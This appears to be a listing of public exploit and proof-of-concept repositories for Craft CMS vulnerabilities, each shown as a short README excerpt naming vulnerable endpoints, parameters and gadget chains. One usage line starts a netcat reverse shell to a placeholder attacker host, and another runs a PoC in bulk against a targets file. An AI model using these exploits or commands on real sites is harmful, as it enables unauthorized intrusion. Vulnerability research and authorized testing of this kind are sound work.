CVE-2025-32432-exploit-by-P34NUT

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit Author: P34NUT2 Vulnerability: Remote Code Execution Pre-Authenticated in Craft CMS CVE: CVE-2025-32432 Target: Any vulnerable Craft CMS instance 3.x / 4.x / 5.x — tested on Hack The Box: Orion ⚠️ Disclaimer This tool is provided strictly for...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 Single-Target PoC Authorized testing only. This repository is intended for controlled lab environments, CTF platforms such as Hack The Box, internal validation, and defensive verification. Do not run this against systems you do not own or have explicit permission to test...

CVE-2026-92592

CVE-2026-92592: Craft CMS authenticated RCE Proof of concept for CVE-2026-92592 / GHSA-5r92-75j8-c534. Craft signs attacker-controlled data in the authenticated license-shun cookie with the same key and format used for signed login redirects. Reusing that signed value as a redirect causes Craft t...

CVE-2024-56145-craftcms-rce

Before you run script again do fuser -k 6666/tcp Usage - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Custom command can be used like python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i is your IP or your vps IP use that by doing ipconfig / ifconfig. Like - python3 poc.py -f...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...

CVE-2026-44011-poc

CVE-2026-44011 Authenticated RCE in Craft CMS via Yii behavior injection. Affected: 4.0.0–4.17.11, 5.0.0–5.9.17 Fixed in: 4.17.12, 5.9.18 Advisory: GHSA-qrgm-p9w5-rrfw Vulnerability The /admin/actions/element-search/search endpoint accepts a condition parameter that gets passed directly into...

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - Cross-Site-Scripting Craft CMS 3.0.25 - Cross-Site Scripting Vulnerability CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 Proof of Concept Allows it to run a Cross-Site Scripting by saving a new title from the console tab. POST...

craftcms-vcard-exploit

Craft CMS vCard Plugin Deserialization Vulnerability Craft CMS has a plugin for downloading contacts in a .vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github Description This plugin takes a parameter sent by the client, decrypts...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS Pre-Auth RCE Pre-Authentication Remote Code Execution in Craft CMS Discovered & Developed by Mohammed Idrees Banyamer 📌 Overview CVE-2025-32432 is a critical pre-authentication Remote Code Execution RCE vulnerability affecting multiple versions of Craft CMS. By chaini...

CVE-2026-31857

CVE-2026-31857 - Craft CMS RCE exploit Python exploit for a RCE vulnerability in the Craft CMS admin panel, triggered via the admin/actions/element-indexes/count-elements endpoint. The injection goes through the elementIds field of a RelatedToConditionRule condition, which gets interpreted as Twi...

CVE-2026-28695-craft-rce-bypass

CVE-2026-28695 patch bypass — Craft CMS ≤ 5.9.8 authenticated RCE element-search CVSS 3.x : 8.8 HIGH approx — verify CWE : CWE-502 Unsafe Object Instantiation + CWE-1336 SSTI origin Base : CVE-2026-28695 SSTI via create + Symfony Process Fix : advisory fix e31e508 restricts create to BaseObject —...

Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection

Craft CMS 4.18.9, 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication. id: CVE-2026-1234...

Craft CMS - Remote Code Execution via Template Path Manipulation

This template identifies a critical Remote Code Execution RCE vulnerability in Craft CMS, identified as GHSA-2p6p-9rc9-62j9. The vulnerability exists due to improper handling of the --templatesPath query parameter, allowing attackers to execute arbitrary code by referencing malicious Twig...

CVE-2026-31857

CVE-2026-31857: Craft CMS control panel RCE CVE-2026-31857 is a remote code execution issue in Craft CMS relational condition rules. BaseElementSelectConditionRule::getElementIds renders user-controlled input as an unsandboxed Twig template. An authenticated Control Panel user can submit a crafte...

CVE-2025-32432

CVE-2025-32432 Craft CMS Pre-Auth RCE PoC Critical Pre-Authentication Remote Code Execution in Craft CMS Affected: Craft CMS 3.x, 4.x, and 5.x up to 5.6.16 Info: This exploit is tested against HackTheBox Orion machine Overview This repository contains a proof-of-concept exploit for CVE-2025-32432...

CVE-2026-72778-craftcms-rce

CVE-2026-72778 — Craft CMS condition.config RCE Craft cleanses the outer condition configuration but subsequently JSON-decodes and merges condition.config without re-cleansing it. Yii behavior/event keys hidden in that string therefore reach FieldLayout object creation and execute a command gadge...

CVE-2026-72781-craftcms-sandbox-rce

CVE-2026-72781 — Craft CMS Twig sandbox escape RCE Craft's sandbox class allowlisting permits methods inherited from yii\base\Component on Element objects. A sandboxed object template can attach an AttributeTypecastBehavior, register its callback, and trigger command execution. The component gadg...

CVE-2026-55794-craftcms-ssti

CVE-2026-55794 — Craft CMS signed-referrer SSTI A control-panel user who can edit an entry can place unsandboxed Twig in the HTTP Referer. The entry edit response signs that referral URL as a redirect value; saving the entry renders the signed value through renderObjectTemplate and executes Twig...

CVE-2025-32432

CVE-2025-32432 — Craft CMS = 5.6.16 Unauthenticated RCE Severity: Critical CVSS 10.0 Auth required: None Affected: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Patched in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50 Identify How to Confirm the Target is Vulnerable...

CVE-2023-41892

CVE-2023-41892 - Craft CMS Remote Code Execution RCE referensi: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...